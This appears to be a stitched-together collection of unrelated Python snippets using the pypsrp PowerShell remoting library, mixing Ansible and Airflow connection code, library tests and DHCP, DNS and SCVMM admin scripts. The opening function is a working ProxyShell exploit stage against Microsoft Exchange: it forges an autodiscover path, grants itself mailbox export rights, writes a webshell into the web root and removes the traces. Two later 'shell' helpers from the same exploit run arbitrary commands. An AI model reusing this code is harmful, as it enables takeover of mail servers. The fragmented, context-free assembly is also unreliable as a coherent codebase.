def exploit_stage4(target, auth_b64, alias_name, subject, fShell):
logger.debug("[Stage 4] Dealing with WSMV")
wsman = WSMan(server=target, port=443,
path='/autodiscover/[email protected]/Powershell?X-Rps-CAT=' + auth_b64 +'&Email=autodiscover/autodiscover.json%[email protected]',
ssl="true",
cert_validation=False)
logger.debug("[Stage 4] Dealing with PSRP")
with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
logger.debug("[Stage 4] Assign Management Role")
ps = PowerShell(pool)
#ps.add_cmdlet("Get-User")
ps.add_cmdlet("New-ManagementRoleAssignment")
ps.add_parameter("Role", "Mailbox Import Export")
ps.add_parameter("SecurityGroup", "Organization Management")
output = ps.invoke()
with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
logger.debug("[Stage 4] Exporting MailBox as Webshell")
ps = PowerShell(pool)
ps.add_cmdlet("New-MailboxExportRequest")
ps.add_parameter("Mailbox", alias_name)
ps.add_parameter("Name", subject)
ps.add_parameter("ContentFilter", "Subject -eq '%s'" % (subject))
ps.add_parameter("FilePath", "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)
output = ps.invoke()
logger.debug("[Stage 4] Webshell Path: c:\\inetpub\\wwwroot\\aspnet_client\\%s" % fShell)
with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
logger.debug("[Stage 4] Cleaning Notification")
ps = PowerShell(pool)
ps.add_script("Get-MailboxExportRequest | Remove-MailboxExportRequest -Confirm:$false")
output = ps.invoke()
def fetch(
self,
src: str,
dest: str,
configuration_name: str = DEFAULT_CONFIGURATION_NAME,
expand_variables: bool = False,
) -> None:
"""
Will fetch a single file from the remote Windows host and create a
local copy. Like copy(), this can be slow when it comes to fetching
large files due to the limitation of WinRM.
This method will first store the file in a temporary location before
creating or replacing the file at dest if the checksum is correct.
:param src: The path to the file on the remote host to fetch
:param dest: The path on the localhost host to store the file as
:param configuration_name: The PowerShell configuration endpoint to
use when fetching the file.
:param expand_variables: Expand variables in path. Disabled by default
Enable for cmd like expansion (for example %TMP% in path)
"""
if expand_variables:
dest = os.path.expanduser(os.path.expandvars(dest))
log.info("Fetching '%s' to '%s'" % (src, dest))
with RunspacePool(self.wsman,
configuration_name=configuration_name) as pool:
script = get_pwsh_script("fetch.ps1")
powershell = PowerShell(pool)
powershell.add_script(script).add_argument(src).add_argument(
expand_variables)
log.debug("Starting remote process to output file data")
powershell.invoke()
_handle_powershell_error(powershell,
"Failed to fetch file %s" % src)
log.debug("Finished remote process to output file data")
expected_hash = powershell.output[-1]
temp_file, path = tempfile.mkstemp()
try:
file_bytes = base64.b64decode(powershell.output[0])
os.write(temp_file, file_bytes)
sha1 = hashlib.sha1()
sha1.update(file_bytes)
actual_hash = sha1.hexdigest()
log.debug("Remote Hash: %s, Local Hash: %s" %
(expected_hash, actual_hash))
if actual_hash != expected_hash:
raise WinRMError("Failed to fetch file %s, hash mismatch\n"
"Source: %s\nFetched: %s" %
(src, expected_hash, actual_hash))
shutil.copy(path, dest)
finally:
os.close(temp_file)
os.remove(path)
def test_psrp(self, functional_transports):
for wsman in functional_transports:
with RunspacePool(wsman) as pool:
pool.exchange_keys()
ps = PowerShell(pool)
ps.add_cmdlet("Get-Item").add_parameter("Path", "C:\\Windows")
ps.add_statement()
sec_string = pool.serialize(u"super secret", ObjectMeta("SS"))
ps.add_cmdlet("Set-Variable")
ps.add_parameter("Name", "password")
ps.add_parameter("Value", sec_string)
ps.add_statement().add_script(
"[System.Runtime.InteropServices.marshal]"
"::PtrToStringAuto([System.Runtime.InteropServices.marshal]"
"::SecureStringToBSTR($password))")
ps.add_statement().add_cmdlet("ConvertTo-SecureString")
ps.add_parameter("String", "host secret")
ps.add_parameter("AsPlainText")
ps.add_parameter("Force")
large_string = "hello world " * 3000
ps.add_statement()
ps.add_script("$VerbosePreference = 'Continue'; "
"Write-Verbose '%s'" % large_string)
actual = ps.invoke()
assert ps.had_errors is False
assert len(actual) == 3
assert str(actual[0]) == "C:\\Windows"
assert actual[1] == u"super secret"
assert actual[2] == u"host secret"
assert str(ps.streams.verbose[0]) == large_string
def get_entries(self):
dhcp_dm = []
# On a per-scope gets all the current DHCP addresses that will then be compared to those in the CSV
for csv_dict in self.csv_dhcp_dm:
for scope in csv_dict.keys():
# Get list of all reservations in the scope
with RunspacePool(self.wsman_conn) as pool:
ps = PowerShell(pool)
# The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0"
ps.add_cmdlet("Invoke-Expression").add_parameter(
"Command",
"Get-DhcpServerv4Reservation -scopeid {}".format(
scope))
ps.add_cmdlet("Out-String").add_parameter("Stream")
ps.invoke()
dhcp_reserv = ps.output[
3:-2] # Elimates headers and blank lines
# From the ps output create a DHCP DM of scope: [[IP], [mac], [name], [(IP, MAC, name)]]
ip_name_mac = []
if len(dhcp_reserv
) == 0: # skips if no DHCP reservations in the scope
pass
else:
for r in dhcp_reserv:
ip_name_mac.append(
(r.split()[0], r.split()[3][:17].lower(),
r.split()[2].lower()))
dhcp_dm.append({scope: ip_name_mac})
return dhcp_dm
def deploy_csv(self, type, temp_csv, win_dir):
# Copy the new CSV File onto DHCP server, script will fail if it cant
try:
self.client_conn.copy(temp_csv, win_dir)
except Exception as e: # If copy fails script fails
print(
"!!! Error - Could not copy CSV file to DHCP server, investigate the below error before re-running the script.\n{}"
.format(e))
exit()
# Add or remove DHCP entries dependant on the value of the variable 'type'
with RunspacePool(self.wsman_conn) as pool:
ps = PowerShell(pool)
if type == 'add':
ps.add_cmdlet("Import-Csv").add_argument("{}".format(
win_dir)).add_cmdlet("Add-DhcpServerv4Reservation")
elif type == 'remove':
ps.add_cmdlet("Import-Csv").add_argument("{}".format(
win_dir)).add_cmdlet("Remove-DhcpServerv4Reservation")
ps.invoke()
output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]]
# Cleanup temp files
os.remove(temp_csv)
try:
self.client_conn.execute_cmd("del {}".format(
win_dir.replace(
"/", "\\"))) # Windows wont take / format with the cmd
except Exception as e: # If delete fails warns user
print(
"!!! Warning - Could not delete temporary file {} off DHCP server, you will have to do manually.\n{}"
.format(win_dir, e))
return output
def failfast(self):
all_zones, bad_zones = ([] for i in range(2))
# Create combined list of all forward and reverse zones
for csv_dict in self.csv_dns_fw_dm:
for zone in csv_dict.keys():
all_zones.append(zone)
for csv_dict in self.csv_dns_rv_dm:
for zone in csv_dict.keys():
all_zones.append(zone)
# Interate through all zones and see if exist on DNS server
for zone in all_zones:
with RunspacePool(self.wsman_conn) as pool:
print('-', zone)
ps = PowerShell(pool)
# The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0"
ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerZone {}".format(zone))
ps.add_cmdlet("Out-String").add_parameter("Stream")
ps.invoke()
dns_zones = ps.output
if len(dns_zones) == 0:
bad_zones.append(zone)
# If any of the scopes dont not exist values are returned to main.py (which also casues script to exit)
if len(bad_zones) != 0:
return '!!! Error - The following zones dont exist on the DNS server: \n{}'.format(bad_zones)
def invoke_script(self, script, expect_json=False):
wsman = WSMan(self.host,
auth="kerberos",
cert_validation=False,
ssl=True)
with RunspacePool(wsman,
configuration_name=self.configuration_name) as pool:
ps = PowerShell(pool)
ps.add_script(script)
ps.invoke()
if ps.had_errors:
error_messages = []
for i in ps.streams.error:
error_messages.append(i.message)
raise RuntimeError(error_messages)
else:
if expect_json:
output = [json.loads(x) for x in ps.output]
else:
output = PSRP_Wrapper._convertto_json_compatible(ps.output)
stream_names = [
"debug", "error", "information", "verbose", "warning"
]
streams = dict()
for i in stream_names:
streams[i] = []
for j in getattr(ps.streams, i):
streams[i].append(j.message)
return {"output": output, "streams": streams}
def _connect(self):
if not HAS_PYPSRP:
raise AnsibleError("pypsrp or dependencies are not installed: %s"
% to_native(PYPSRP_IMP_ERR))
super(Connection, self)._connect()
self._build_kwargs()
display.vvv("ESTABLISH PSRP CONNECTION FOR USER: %s ON PORT %s TO %s" %
(self._psrp_user, self._psrp_port, self._psrp_host),
host=self._psrp_host)
if not self.runspace:
connection = WSMan(**self._psrp_conn_kwargs)
# create our pseudo host to capture the exit code and host output
host_ui = PSHostUserInterface()
self.host = PSHost(None, None, False, "Ansible PSRP Host", None,
host_ui, None)
self.runspace = RunspacePool(
connection, host=self.host,
configuration_name=self._psrp_configuration_name
)
display.vvvvv(
"PSRP OPEN RUNSPACE: auth=%s configuration=%s endpoint=%s" %
(self._psrp_auth, self._psrp_configuration_name,
connection.transport.endpoint), host=self._psrp_host
)
try:
self.runspace.open()
except AuthenticationError as e:
raise AnsibleConnectionFailure("failed to authenticate with "
"the server: %s" % to_native(e))
except WinRMError as e:
raise AnsibleConnectionFailure(
"psrp connection failure during runspace open: %s"
% to_native(e)
)
except (ConnectionError, ConnectTimeout) as e:
raise AnsibleConnectionFailure(
"Failed to connect to the host via PSRP: %s"
% to_native(e)
)
self._connected = True
self._last_pipeline = None
return self
def shell(command, port):
if command.lower() in ['exit', 'quit']:
exit(0)
wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
with RunspacePool(wsman) as pool:
ps = PowerShell(pool)
ps.add_script(command)
output = ps.invoke()
def execute_ps(
self,
script: str,
configuration_name: str = DEFAULT_CONFIGURATION_NAME,
environment: typing.Optional[typing.Dict[str, str]] = None,
) -> typing.Tuple[str, PSDataStreams, bool]:
"""
Executes a PowerShell script in a PowerShell runspace pool. This uses
the PSRP layer and is designed to run a PowerShell script and not a
raw executable.
Because this runs in a runspace, traditional concepts like stdout,
stderr, rc's are no longer relevant. Instead there is a output,
error/verbose/debug streams, and a boolean that indicates if the
script execution came across an error. If you want the traditional
stdout/stderr/rc, use execute_cmd instead.
:param script: The PowerShell script to run
:param configuration_name: The PowerShell configuration endpoint to
use when executing the script.
:param environment: A dictionary containing environment keys and
values to set on the executing script.
:return: A tuple of
output: A unicode string of the output stream
streams: pypsrp.powershell.PSDataStreams containing the other
PowerShell streams
had_errors: bool that indicates whether the script had errors
during execution
"""
log.info("Executing PowerShell script '%s'" % script)
with RunspacePool(self.wsman,
configuration_name=configuration_name) as pool:
powershell = PowerShell(pool)
if environment:
for env_key, env_value in environment.items():
# Done like this for easier testing, preserves the param order
log.debug("Setting env var '%s' on PS script execution" %
env_key)
powershell.add_cmdlet("New-Item").add_parameter(
"Path",
"env:").add_parameter("Name", env_key).add_parameter(
"Value", env_value).add_parameter(
"Force",
True).add_cmdlet("Out-Null").add_statement()
# so the client executes a powershell script and doesn't need to
# deal with complex PS objects, we run the script in
# Invoke-Expression and convert the output to a string
# if a user wants to get the raw complex objects then they should
# use RunspacePool and PowerShell directly
powershell.add_cmdlet("Invoke-Expression").add_parameter(
"Command", script)
powershell.add_cmdlet("Out-String").add_parameter("Stream")
powershell.invoke()
return "\n".join(
powershell.output), powershell.streams, powershell.had_errors
def deploy_csv(self, type, temp_csv, win_dir):
win_dir1 = win_dir.replace(".csv", "1.csv") # Extra temp file required for removing DNS RV entries
self.num_new_entries = str(self.num_new_entries) + '/' + str(self.num_new_entries) # To make it A/PTR records, should be same as deployed in the 1 cmd
# Copy the new CSV File onto DHCP server, script will fail if it cant
try:
self.client_conn.copy(temp_csv, win_dir)
if type == 'remove':
self.client_conn.copy(self.temp_csv1, win_dir1)
except Exception as e: # If copy fails script fails
print("!!! Error - Could not copy CSV file to DNS server, investigate the below error before re-running the script.\n{}".format(e))
exit()
# Add DNS entries
if type == 'add':
with RunspacePool(self.wsman_conn) as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Add-DNSServerResourceRecordA").add_parameter("-CreatePtr")
ps.invoke()
output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]]
# Remove DNS entries, have to spilt into multiple cmds due to bug with "Remove-DNSServerResourceRecord" where cant use RRtype from CSV
elif type == 'remove':
with RunspacePool(self.wsman_conn) as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "A").add_parameter("-Force")
ps.invoke()
output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]] # adds the errors as lists so can add outputs from next cmd
with RunspacePool(self.wsman_conn) as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir1)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "PTR").add_parameter("-Force")
ps.invoke()
output[1].append(ps.had_errors)
output[2].append(ps.streams.error)
# Cleanup temp files
try:
os.remove(temp_csv)
self.client_conn.execute_cmd("del {}".format(win_dir.replace("/", "\\"))) # Windows wont take / format with the cmd
if type == 'remove':
os.remove(self.temp_csv1)
self.client_conn.execute_cmd("del {}".format(win_dir1.replace("/", "\\"))) # Windows wont take / format with the cmd
except Exception as e: # If delete fails warns user
print("!!! Warning - Could not delete temporary files off DNS server, you will have to do manually.\n{}".format(e))
return output
def get_entries(self):
dns_fw_dm, dns_rv_dm = ([] for i in range(2))
# On a per-zone basis gets all the current DNS entries that will then be compared to those in the CSV
for csv_dns_fw in self.csv_dns_fw_dm :
for domain in csv_dns_fw.keys():
with RunspacePool(self.wsman_conn) as pool:
ps = PowerShell(pool)
# The powershell cmd is "Get-DnsServerResourceRecord -ZoneName stesworld.com -RRType A"
ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType A".format(domain))
ps.add_cmdlet("Out-String").add_parameter("Stream")
ps.invoke()
dns_fw_records = ps.output
# From the ps output create a list for the dns_fw DM dict value [('ip', 'name', ttl)]
ip_name_ttl = []
if len(dns_fw_records) == 0: # skips if no A records in the zone
pass
else:
for a in dns_fw_records[3:-2]: # Elimates headers and trailing blank lines
a = a.split()
ip_name_ttl .append((a[-1], a[0].lower(), a[-2]))
# Add the list as the value for for a dict where the zone name is the key [{fw_zone: [(ip, name, ttl)]}]
dns_fw_dm.append({domain: ip_name_ttl})
# On a per-reverse-zone basis gets all the current DNS entries that will then be compared to those in the CSV
for csv_dns_rv in self.csv_dns_rv_dm:
for rev_zone in csv_dns_rv.keys():
with RunspacePool(self.wsman_conn) as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType PTR".format(rev_zone))
ps.add_cmdlet("Out-String").add_parameter("Stream")
ps.invoke()
dns_rv_records = ps.output
hst_name = []
if len(dns_rv_records) == 0: # skips if no PTR records in the zone
pass
else:
for ptr in dns_rv_records[3:-2]:
ptr = ptr.split()
hst_name.append((ptr[0], ptr[-1].lower()))
dns_rv_dm.append({rev_zone: hst_name}) # creates DM where rv_zone name is the key [{rv_zone: [(host, domain_name)]}]
return [dns_fw_dm, dns_rv_dm]
def connectionscriptall(self,scriptname):
try:
with RunspacePool(self.wsman, configuration_name="Microsoft.Exchange") as pool:
ps = PowerShell(pool).add_script(scriptname)
output = ps.invoke()
if not ps.had_errors and not ps.streams.error:
self.message,self.isSuccess,self.count = [i.adapted_properties for i in output],True,len(output)
else:
self.code,self.msg = 201,"%s".join([str(s) for s in ps.streams.error])
except Exception as e:
self.msg,self.code = e,201
async def start_vm(info: VMInfo):
"""
Invoke command to start virtual machine with given VM ID
:param info: VM ID of virtual machine to be started
"""
with RunspacePool(connection=WSMan(**connection_settings)) as pool:
ps = PowerShell(pool)
ps.add_script("$server = Get-SCVMMServer -ComputerName localhost"
).add_script("Get-SCVirtualMachine -VMMServer $server |"
" ? {$_.VMId -eq \"" + info.vmid + "\" } |"
" Start-SCVirtualMachine").begin_invoke()
def main(host, username, password, command):
wsman = WSMan(host,
username=username,
password=password,
cert_validation=False)
with RunspacePool(wsman) as pool:
ps = PowerShell(pool)
ps.add_cmdlet(command)
ps.invoke()
print(ps.output[0])
def test_psrp_pshost_methods(self, wsman_conn):
host = PSHost(None, None, False, "host name", None, None, "1.0")
with RunspacePool(wsman_conn, host=host) as pool:
ps = PowerShell(pool)
# SetShouldExit is really the only one that seems to work so
# we will just test that
ps.add_script('$host.CurrentCulture; $host.SetShouldExit(1)')
actual = ps.invoke()
assert len(actual) == 1
assert str(actual[0]) == "en-US"
assert isinstance(actual[0], CultureInfo)
assert host.rc == 1
def connectionscript(self,scriptname,**kwargs):
scriptparameter = list()
[scriptparameter.extend(["-" + i, kwargs[i]]) for i in kwargs]
script = scriptname + " " + " ".join(scriptparameter)
try:
with RunspacePool(self.wsman, configuration_name="Microsoft.Exchange") as pool:
ps = PowerShell(pool).add_script(script + " -Confirm:$false")
output = ps.invoke()
if not ps.had_errors and not ps.streams.error:
self.message,self.isSuccess,self.count = [i.adapted_properties for i in output],True,len(output)
else:
self.code,self.msg = 201,"%s".join([str(s) for s in ps.streams.error])
except Exception as e:
self.msg,self.code = e,201
def shell(command, port):
# From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
if command.lower() in ['exit', 'quit']:
exit()
wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
with RunspacePool(wsman) as pool:
ps = PowerShell(pool)
ps.add_script(command)
output = ps.invoke()
print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
def test_pshost_methods(self):
wsman = WSMan("server")
runspace = RunspacePool(wsman)
host = PSHost(CultureInfo(), CultureInfo(), True, "name", None, None,
"1.0")
assert host.GetName(None, None) == "name"
actual_version = host.GetVersion(runspace, None)
assert actual_version.text == "1.0"
assert actual_version.tag == "Version"
assert isinstance(host.GetInstanceId(None, None), uuid.UUID)
assert isinstance(host.GetCurrentCulture(None, None), CultureInfo)
assert isinstance(host.GetCurrentUICulture(None, None), CultureInfo)
host.NotifyBeginApplication(None, None)
host.NotifyEndApplication(None, None)
def exservertest(**kwargs):
try:
wsman = WSMan(server=kwargs['exip'], port=80, path="/powershell/",ssl=False,username=kwargs['domain'] + "\\" + kwargs['exaccount'] , password=kwargs['expassword'],auth="basic",encryption='never')
with RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool:
ps = PowerShell(pool).add_cmdlet('Get-ExchangeServer')
output = ps.invoke()
if not ps.had_errors and not ps.streams.error:
data = {'isSuccess':True}
else:
data = {'isSuccess':False}
# allurl = 'http://'+getskey()['iisserver']+':'+getskey()['iisport']+'//api/ad/testexlink'
# u = requests.get(allurl,params=kwargs)
# data = u.json()
return data
except Exception as e:
return False
def get_conn(self) -> RunspacePool:
"""
Returns a runspace pool.
The returned object must be used as a context manager.
"""
conn = self.get_connection(self.conn_id)
self.log.info("Establishing WinRM connection %s to host: %s",
self.conn_id, conn.host)
extra = conn.extra_dejson.copy()
def apply_extra(d, keys):
d = d.copy()
for key in keys:
value = extra.pop(key, None)
if value is not None:
d[key] = value
return d
wsman_options = apply_extra(
self._wsman_options,
(
"auth",
"cert_validation",
"connection_timeout",
"locale",
"read_timeout",
"reconnection_retries",
"reconnection_backoff",
"ssl",
),
)
wsman = WSMan(conn.host,
username=conn.login,
password=conn.password,
**wsman_options)
runspace_options = apply_extra(self._runspace_options,
("configuration_name", ))
if extra:
raise AirflowException(
f"Unexpected extra configuration keys: {', '.join(sorted(extra))}"
)
pool = RunspacePool(wsman, **runspace_options)
self._wsman_ref[pool] = wsman
return pool
def GetVersion(
self,
runspace: RunspacePool,
pipeline: typing.Optional[PowerShell],
) -> typing.Optional[ET.Element]:
"""
MI: 2
SHOULD return the version number of the hosting application.
https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.version
:param runspace: The runspace the host call relates to
:param pipeline: The pipeline (if any) that the call relates to
:return: Version number of the hosting application
"""
meta = ObjectMeta("Version")
value = runspace.serialize(self.version, meta)
return value
async def list_vms(domain: str, username: str):
"""
Returns a list of available virtual machines for given user
:param domain: NTDOMAIN of the user
:param username: username of the user
:return: list of dicts with virtual machines data
"""
domain = domain.upper()
username = username.lower()
if LIST_SCRIPT is None:
return Response(status_code=500,
content="Server error: script not found.")
with RunspacePool(connection=WSMan(**connection_settings)) as lpool:
ps = PowerShell(lpool)
ps.add_script(
script=LIST_SCRIPT).add_argument(domain).add_argument(username)
try:
psresult = ps.invoke()
except ReadTimeout:
return Response(status_code=504,
content="SCVMM is not available now.")
if len(psresult) == 0 and ps.had_errors:
return Response(status_code=500,
content="SCVMM-API internal error occured.")
if psresult:
logging.info(
f"Data for {domain}\\{username} returned, length: {len(psresult)}")
return [
VM(Name=x.extended_properties.get("Name", "-"),
ID=x.extended_properties.get("VMId", "-"),
VirtualMachineState=x.extended_properties.get(
'VirtualMachineState', "-"),
MostRecentTask=x.extended_properties.get('MostRecentTask', "-"),
MostRecentTaskUIState=x.extended_properties.get(
'MostRecentTaskUIState', "-"),
VMHost=x.extended_properties.get('VMHost', "-")) for x in psresult
]
def failfast(self):
bad_scopes = []
for csv_dict in self.csv_dhcp_dm:
for scope in csv_dict.keys():
print('-', scope)
# Get list of all reservations in the scope
with RunspacePool(self.wsman_conn) as pool:
ps = PowerShell(pool)
# The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0"
ps.add_cmdlet("Invoke-Expression").add_parameter(
"Command",
"Get-DhcpServerv4Scope -scopeid {}".format(scope))
ps.add_cmdlet("Out-String").add_parameter("Stream")
ps.invoke()
dhcp_reserv = ps.output
if len(dhcp_reserv) == 0:
bad_scopes.append(scope)
# If any of the scopes dont not exist values are returned to main.py (which also casues script to exit)
if len(bad_scopes) != 0:
return '!!! Error - The following scopes dont exist on the DHCP server: \n{}'.format(
bad_scopes)
def test_psrp_jea(self, functional_transports):
for wsman in functional_transports:
with RunspacePool(wsman, configuration_name="JEARole") as pool:
ps = PowerShell(pool)
wsman_path = "WSMan:\\localhost\\Service\\AllowUnencrypted"
ps.add_cmdlet("Get-Item").add_parameter("Path", wsman_path)
ps.add_statement()
ps.add_cmdlet("Set-Item").add_parameters({
"Path": wsman_path,
"Value": "True"
})
actual = ps.invoke()
assert ps.had_errors is True
assert len(actual) == 1
assert actual[0].property_sets[0].adapted_properties['Value'] == \
'false'
assert str(ps.streams.error[0]) == \
"The term 'Set-Item' is not recognized as the name of a " \
"cmdlet, function, script file, or operable program. Check " \
"the spelling of the name, or if a path was included, " \
"verify that the path is correct and try again."
def check_creds(host, username, password, domain):
has_access = False
try:
username = '******' % (domain, username)
wsman = WSMan(host,
username=username,
password=password,
ssl=False,
auth='ntlm')
with RunspacePool(wsman) as pool:
ps = PowerShell(pool)
ps.add_cmdlet('Invoke-Expression')\
.add_parameter('Command', 'whoami')
ps.begin_invoke()
while ps.output is None or ps.output == '':
ps.poll_invoke()
ps.end_invoke()
if len(ps.output) > 0:
has_access = True
except:
has_access = False
return has_access
def invoke_powershell(self, script: str) -> PowerShell:
with RunspacePool(self._client) as pool:
ps = PowerShell(pool)
ps.add_script(script)
ps.begin_invoke()
streams = [
(ps.output, self._log_output),
(ps.streams.debug, self._log_record),
(ps.streams.information, self._log_record),
(ps.streams.error, self._log_record),
]
offsets = [0 for _ in streams]
# We're using polling to make sure output and streams are
# handled while the process is running.
while ps.state == PSInvocationState.RUNNING:
sleep(self._poll_interval)
ps.poll_invoke()
for (i, (stream, handler)) in enumerate(streams):
offset = offsets[i]
while len(stream) > offset:
handler(stream[offset])
offset += 1
offsets[i] = offset
# For good measure, we'll make sure the process has
# stopped running.
ps.end_invoke()
if ps.streams.error:
raise AirflowException("Process had one or more errors")
self.log.info("Invocation state: %s",
str(PSInvocationState(ps.state)))
return ps
def execute_ps(self, script):
"""
Executes a PowerShell script in a PowerShell runspace pool. This uses
the PSRP layer and is designed to run a PowerShell script and not a
raw executable.
Because this runs in a runspace, traditional concepts like stdout,
stderr, rc's are no longer relevant. Instead there is a output,
error/verbose/debug streams, and a boolean that indicates if the
script execution came across an error. If you want the traditional
stdout/stderr/rc, use execute_cmd instead.
:param script: The PowerShell script to run
:return: A tuple of
output: A unicode string of the output stream
streams: pypsrp.powershell.PSDataStreams containing the other
PowerShell streams
had_errors: bool that indicates whether the script had errors
during execution
"""
log.info("Executing PowerShell script '%s'" % script)
with RunspacePool(self.wsman) as pool:
powershell = PowerShell(pool)
# so the client executes a powershell script and doesn't need to
# deal with complex PS objects, we run the script in
# Invoke-Expression and convert the output to a string
# if a user wants to get the raw complex objects then they should
# use RunspacePool and PowerShell directly
powershell.add_cmdlet("Invoke-Expression").add_parameter("Command",
script)
powershell.add_cmdlet("Out-String").add_parameter("Stream")
powershell.invoke()
return "\n".join(powershell.output), powershell.streams, \
powershell.had_errors
class Connection(ConnectionBase):
transport = 'psrp'
module_implementation_preferences = ('.ps1', '.exe', '')
allow_executable = False
has_pipelining = True
allow_extras = True
def __init__(self, *args, **kwargs):
self.always_pipeline_modules = True
self.has_native_async = True
self.runspace = None
self.host = None
self._shell_type = 'powershell'
super(Connection, self).__init__(*args, **kwargs)
if not C.DEFAULT_DEBUG:
logging.getLogger('pypsrp').setLevel(logging.WARNING)
logging.getLogger('requests_credssp').setLevel(logging.INFO)
logging.getLogger('urllib3').setLevel(logging.INFO)
def _connect(self):
if not HAS_PYPSRP:
raise AnsibleError("pypsrp or dependencies are not installed: %s"
% to_native(PYPSRP_IMP_ERR))
super(Connection, self)._connect()
self._build_kwargs()
display.vvv("ESTABLISH PSRP CONNECTION FOR USER: %s ON PORT %s TO %s" %
(self._psrp_user, self._psrp_port, self._psrp_host),
host=self._psrp_host)
if not self.runspace:
connection = WSMan(**self._psrp_conn_kwargs)
# create our psuedo host to capture the exit code and host output
host_ui = PSHostUserInterface()
self.host = PSHost(None, None, False, "Ansible PSRP Host", None,
host_ui, None)
self.runspace = RunspacePool(
connection, host=self.host,
configuration_name=self._psrp_configuration_name
)
display.vvvvv(
"PSRP OPEN RUNSPACE: auth=%s configuration=%s endpoint=%s" %
(self._psrp_auth, self._psrp_configuration_name,
connection.transport.endpoint), host=self._psrp_host
)
try:
self.runspace.open()
except AuthenticationError as e:
raise AnsibleConnectionFailure("failed to authenticate with "
"the server: %s" % to_native(e))
except WinRMError as e:
raise AnsibleConnectionFailure(
"psrp connection failure during runspace open: %s"
% to_native(e)
)
except (ConnectionError, ConnectTimeout) as e:
raise AnsibleConnectionFailure(
"Failed to connect to the host via PSRP: %s"
% to_native(e)
)
self._connected = True
return self
def reset(self):
display.vvvvv("PSRP: Reset Connection", host=self._psrp_host)
self.runspace = None
self._connect()
def exec_command(self, cmd, in_data=None, sudoable=True):
super(Connection, self).exec_command(cmd, in_data=in_data,
sudoable=sudoable)
if cmd.startswith(" ".join(_common_args) + " -EncodedCommand"):
# This is a PowerShell script encoded by the shell plugin, we will
# decode the script and execute it in the runspace instead of
# starting a new interpreter to save on time
b_command = base64.b64decode(cmd.split(" ")[-1])
script = to_text(b_command, 'utf-16-le')
in_data = to_text(in_data, errors="surrogate_or_strict", nonstring="passthru")
if in_data and in_data.startswith(u"#!"):
# ANSIBALLZ wrapper, we need to get the interpreter and execute
# that as the script - note this won't work as basic.py relies
# on packages not available on Windows, once fixed we can enable
# this path
interpreter = to_native(in_data.splitlines()[0][2:])
# script = "$input | &'%s' -" % interpreter
# in_data = to_text(in_data)
raise AnsibleError("cannot run the interpreter '%s' on the psrp "
"connection plugin" % interpreter)
# call build_module_command to get the bootstrap wrapper text
bootstrap_wrapper = self._shell.build_module_command('', '', '')
if bootstrap_wrapper == cmd:
# Do not display to the user each invocation of the bootstrap wrapper
display.vvv("PSRP: EXEC (via pipeline wrapper)")
else:
display.vvv("PSRP: EXEC %s" % script, host=self._psrp_host)
else:
# In other cases we want to execute the cmd as the script. We add on the 'exit $LASTEXITCODE' to ensure the
# rc is propagated back to the connection plugin.
script = to_text(u"%s\nexit $LASTEXITCODE" % cmd)
display.vvv(u"PSRP: EXEC %s" % script, host=self._psrp_host)
rc, stdout, stderr = self._exec_psrp_script(script, in_data)
return rc, stdout, stderr
def put_file(self, in_path, out_path):
super(Connection, self).put_file(in_path, out_path)
display.vvv("PUT %s TO %s" % (in_path, out_path), host=self._psrp_host)
out_path = self._shell._unquote(out_path)
script = u'''begin {
$ErrorActionPreference = "Stop"
$path = '%s'
$fd = [System.IO.File]::Create($path)
$algo = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
$bytes = @()
} process {
$bytes = [System.Convert]::FromBase64String($input)
$algo.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) > $null
$fd.Write($bytes, 0, $bytes.Length)
} end {
$fd.Close()
$algo.TransformFinalBlock($bytes, 0, 0) > $null
$hash = [System.BitConverter]::ToString($algo.Hash)
$hash = $hash.Replace("-", "").ToLowerInvariant()
Write-Output -InputObject "{`"sha1`":`"$hash`"}"
}''' % self._shell._escape(out_path)
cmd_parts = self._shell._encode_script(script, as_list=True,
strict_mode=False,
preserve_rc=False)
b_in_path = to_bytes(in_path, errors='surrogate_or_strict')
if not os.path.exists(b_in_path):
raise AnsibleFileNotFound('file or module does not exist: "%s"'
% to_native(in_path))
in_size = os.path.getsize(b_in_path)
buffer_size = int(self.runspace.connection.max_payload_size / 4 * 3)
# copying files is faster when using the raw WinRM shell and not PSRP
# we will create a WinRS shell just for this process
# TODO: speed this up as there is overhead creating a shell for this
with WinRS(self.runspace.connection, codepage=65001) as shell:
process = Process(shell, cmd_parts[0], cmd_parts[1:])
process.begin_invoke()
offset = 0
with open(b_in_path, 'rb') as src_file:
for data in iter((lambda: src_file.read(buffer_size)), b""):
offset += len(data)
display.vvvvv("PSRP PUT %s to %s (offset=%d, size=%d" %
(in_path, out_path, offset, len(data)),
host=self._psrp_host)
b64_data = base64.b64encode(data) + b"\r\n"
